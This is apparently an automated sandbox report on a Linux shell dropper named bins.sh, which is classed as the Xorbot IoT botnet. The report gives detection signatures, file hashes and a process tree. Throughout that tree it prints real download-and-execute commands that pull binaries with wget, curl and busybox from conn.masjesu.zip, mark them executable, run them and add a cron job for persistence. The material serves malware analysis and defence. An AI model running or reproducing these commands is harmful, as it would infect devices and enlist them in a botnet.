Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/12/2024, 18:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8ad3c22d51b45d9d345d57cccc6e8e3c

  • SHA1

    f6a7ded75ed90ad0b059c5d6231525d6ee7bfde9

  • SHA256

    960facbaa578092a17ffc41f54b65b77dff072120cc8c275d0a2ab44d97bbdad

  • SHA512

    ca38a5179c2793cf96a6d448d60126ee1b54de6ac717bed671d20bb6e7a83c11670f95260c2fede0f18014768d10615795cb25e4a05156c01352c57f35209923

  • SSDEEP

    96:YrHMLddWpFplpWJdKDfcEI9j/91RJI8A5pBEL2mFLQMaLyKGU5RpaxapaYmuyQLi:/i3XWJdPzNimmZs3XWJdyP

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2017) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 34 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:661
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:668
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
          2⤵
          • System Network Configuration Discovery
          PID:670
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
          2⤵
          • Checks CPU configuration
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
          2⤵
          • System Network Configuration Discovery
          PID:693
        • /bin/chmod
          chmod 777 vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
          2⤵
          • File and Directory Permissions Modification
          PID:694
        • /tmp/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
          ./vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:696
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:698
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:699
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:700
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:701
              • /bin/rm
                rm vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
                2⤵
                • System Network Configuration Discovery
                PID:703
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
                2⤵
                • System Network Configuration Discovery
                PID:706
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
                2⤵
                • System Network Configuration Discovery
                PID:707
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
                2⤵
                • System Network Configuration Discovery
                PID:708
              • /bin/chmod
                chmod 777 EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
                2⤵
                • File and Directory Permissions Modification
                PID:709
              • /tmp/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
                ./EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
                2⤵
                  PID:710
                • /bin/rm
                  rm EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
                  2⤵
                    PID:711
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
                    2⤵
                    • System Network Configuration Discovery
                    PID:712
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
                    2⤵
                    • System Network Configuration Discovery
                    PID:732
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
                    2⤵
                    • System Network Configuration Discovery
                    PID:795
                  • /bin/chmod
                    chmod 777 uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
                    2⤵
                    • File and Directory Permissions Modification
                    PID:800
                  • /tmp/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
                    ./uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
                    2⤵
                      PID:801
                    • /bin/rm
                      rm uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
                      2⤵
                        PID:802
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/vUrPno7OnuPYhVMK2KPak1bV63IVRNB05Y
                        2⤵
                        • System Network Configuration Discovery
                        PID:803
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/vUrPno7OnuPYhVMK2KPak1bV63IVRNB05Y
                        2⤵
                        • System Network Configuration Discovery
                        PID:804
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/vUrPno7OnuPYhVMK2KPak1bV63IVRNB05Y
                        2⤵
                        • System Network Configuration Discovery
                        PID:805
                      • /bin/chmod
                        chmod 777 vUrPno7OnuPYhVMK2KPak1bV63IVRNB05Y
                        2⤵
                        • File and Directory Permissions Modification
                        PID:806
                      • /tmp/vUrPno7OnuPYhVMK2KPak1bV63IVRNB05Y
                        ./vUrPno7OnuPYhVMK2KPak1bV63IVRNB05Y
                        2⤵
                          PID:807
                        • /bin/rm
                          rm vUrPno7OnuPYhVMK2KPak1bV63IVRNB05Y
                          2⤵
                            PID:808
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/umSdWceArbP8EqudOFLf6SReg6aTilonVT
                            2⤵
                            • System Network Configuration Discovery
                            PID:809
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/umSdWceArbP8EqudOFLf6SReg6aTilonVT
                            2⤵
                            • System Network Configuration Discovery
                            PID:815
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/umSdWceArbP8EqudOFLf6SReg6aTilonVT
                            2⤵
                            • System Network Configuration Discovery
                            PID:817
                          • /bin/chmod
                            chmod 777 umSdWceArbP8EqudOFLf6SReg6aTilonVT
                            2⤵
                            • File and Directory Permissions Modification
                            PID:819
                          • /tmp/umSdWceArbP8EqudOFLf6SReg6aTilonVT
                            ./umSdWceArbP8EqudOFLf6SReg6aTilonVT
                            2⤵
                              PID:821
                            • /bin/rm
                              rm umSdWceArbP8EqudOFLf6SReg6aTilonVT
                              2⤵
                                PID:822
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/SCxS9e3AmZXk4jLw0ckYy7zUsDpF2Gk7jH
                                2⤵
                                • System Network Configuration Discovery
                                PID:823
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/SCxS9e3AmZXk4jLw0ckYy7zUsDpF2Gk7jH
                                2⤵
                                • System Network Configuration Discovery
                                PID:827
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/SCxS9e3AmZXk4jLw0ckYy7zUsDpF2Gk7jH
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:829
                              • /bin/chmod
                                chmod 777 SCxS9e3AmZXk4jLw0ckYy7zUsDpF2Gk7jH
                                2⤵
                                • File and Directory Permissions Modification
                                PID:836
                              • /tmp/SCxS9e3AmZXk4jLw0ckYy7zUsDpF2Gk7jH
                                ./SCxS9e3AmZXk4jLw0ckYy7zUsDpF2Gk7jH
                                2⤵
                                • Executes dropped EXE
                                PID:837
                              • /bin/rm
                                rm SCxS9e3AmZXk4jLw0ckYy7zUsDpF2Gk7jH
                                2⤵
                                  PID:840
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/DnUaWcPR6S0RX3oHIOfhQZrHk0DvuX9xDO
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:841
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/DnUaWcPR6S0RX3oHIOfhQZrHk0DvuX9xDO
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:844
                                • /bin/busybox
                                  /bin/busybox wget http://conn.masjesu.zip/bins/DnUaWcPR6S0RX3oHIOfhQZrHk0DvuX9xDO
                                  2⤵
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:846
                                • /bin/chmod
                                  chmod 777 DnUaWcPR6S0RX3oHIOfhQZrHk0DvuX9xDO
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:851
                                • /tmp/DnUaWcPR6S0RX3oHIOfhQZrHk0DvuX9xDO
                                  ./DnUaWcPR6S0RX3oHIOfhQZrHk0DvuX9xDO
                                  2⤵
                                  • Executes dropped EXE
                                  PID:852
                                • /bin/rm
                                  rm DnUaWcPR6S0RX3oHIOfhQZrHk0DvuX9xDO
                                  2⤵
                                    PID:854
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/wwxIYkCWmsxzPwSI0xyCp8d8Cnl9Dl21MY
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:856
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/wwxIYkCWmsxzPwSI0xyCp8d8Cnl9Dl21MY
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:857
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/wwxIYkCWmsxzPwSI0xyCp8d8Cnl9Dl21MY
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:861
                                  • /bin/chmod
                                    chmod 777 wwxIYkCWmsxzPwSI0xyCp8d8Cnl9Dl21MY
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:862
                                  • /tmp/wwxIYkCWmsxzPwSI0xyCp8d8Cnl9Dl21MY
                                    ./wwxIYkCWmsxzPwSI0xyCp8d8Cnl9Dl21MY
                                    2⤵
                                      PID:863
                                    • /bin/rm
                                      rm wwxIYkCWmsxzPwSI0xyCp8d8Cnl9Dl21MY
                                      2⤵
                                        PID:865
                                      • /usr/bin/wget
                                        wget http://conn.masjesu.zip/bins/tgvkDqjIqJ9yWX282gDrUPOBxwNL8Dv079
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:866
                                      • /usr/bin/curl
                                        curl -O http://conn.masjesu.zip/bins/tgvkDqjIqJ9yWX282gDrUPOBxwNL8Dv079
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:868
                                      • /bin/busybox
                                        /bin/busybox wget http://conn.masjesu.zip/bins/tgvkDqjIqJ9yWX282gDrUPOBxwNL8Dv079
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:869
                                      • /bin/chmod
                                        chmod 777 tgvkDqjIqJ9yWX282gDrUPOBxwNL8Dv079
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:872
                                      • /tmp/tgvkDqjIqJ9yWX282gDrUPOBxwNL8Dv079
                                        ./tgvkDqjIqJ9yWX282gDrUPOBxwNL8Dv079
                                        2⤵
                                          PID:873
                                        • /bin/rm
                                          rm tgvkDqjIqJ9yWX282gDrUPOBxwNL8Dv079
                                          2⤵
                                            PID:874
                                          • /usr/bin/wget
                                            wget http://conn.masjesu.zip/bins/9MwoSzOGLJsRUhoGpD9rrRJCeWtLf5H3KE
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:875
                                          • /usr/bin/curl
                                            curl -O http://conn.masjesu.zip/bins/9MwoSzOGLJsRUhoGpD9rrRJCeWtLf5H3KE
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:881
                                          • /bin/busybox
                                            /bin/busybox wget http://conn.masjesu.zip/bins/9MwoSzOGLJsRUhoGpD9rrRJCeWtLf5H3KE
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:883
                                          • /bin/chmod
                                            chmod 777 9MwoSzOGLJsRUhoGpD9rrRJCeWtLf5H3KE
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:885
                                          • /tmp/9MwoSzOGLJsRUhoGpD9rrRJCeWtLf5H3KE
                                            ./9MwoSzOGLJsRUhoGpD9rrRJCeWtLf5H3KE
                                            2⤵
                                              PID:889
                                            • /bin/rm
                                              rm 9MwoSzOGLJsRUhoGpD9rrRJCeWtLf5H3KE
                                              2⤵
                                                PID:890
                                              • /usr/bin/wget
                                                wget http://conn.masjesu.zip/bins/mg9j8gqnnIqnaNiUDO56Goxak91x7SF2PU
                                                2⤵
                                                • System Network Configuration Discovery
                                                PID:892
                                              • /usr/bin/curl
                                                curl -O http://conn.masjesu.zip/bins/mg9j8gqnnIqnaNiUDO56Goxak91x7SF2PU
                                                2⤵
                                                • System Network Configuration Discovery
                                                PID:893

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • /tmp/DnUaWcPR6S0RX3oHIOfhQZrHk0DvuX9xDO

                                              Filesize

                                              117KB

                                              MD5

                                              849fa04ef88a8e8de32cb2e8538de5fe

                                              SHA1

                                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                              SHA256

                                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                              SHA512

                                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                            • /tmp/SCxS9e3AmZXk4jLw0ckYy7zUsDpF2Gk7jH

                                              Filesize

                                              122KB

                                              MD5

                                              cd3d4b9c643e5b473fb4d88ed05f0716

                                              SHA1

                                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                                              SHA256

                                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                              SHA512

                                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                            • /tmp/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr

                                              Filesize

                                              141KB

                                              MD5

                                              3ca8decdb1e52c423c521bfff02ac200

                                              SHA1

                                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                                              SHA256

                                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                              SHA512

                                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                            • /var/spool/cron/crontabs/tmp.by39Ul

                                              Filesize

                                              210B

                                              MD5

                                              1925665d5ec630337b43489943d8af7b

                                              SHA1

                                              24a55a8ac3d2d70ab4e54015a56d9f7c7b827763

                                              SHA256

                                              c8bec743a2591917c37d994d04c29a65c099c9d61bd861b1e72d4cade4e8fe49

                                              SHA512

                                              f6d3f0f8cfe0ad553ea299a3a610fa06b3f51f68aee75ab643082d571110a4a7b8b3e82208ef44535ddc990b15d9c1e64e7ef3ce37fb9d248bf8591adc92bc08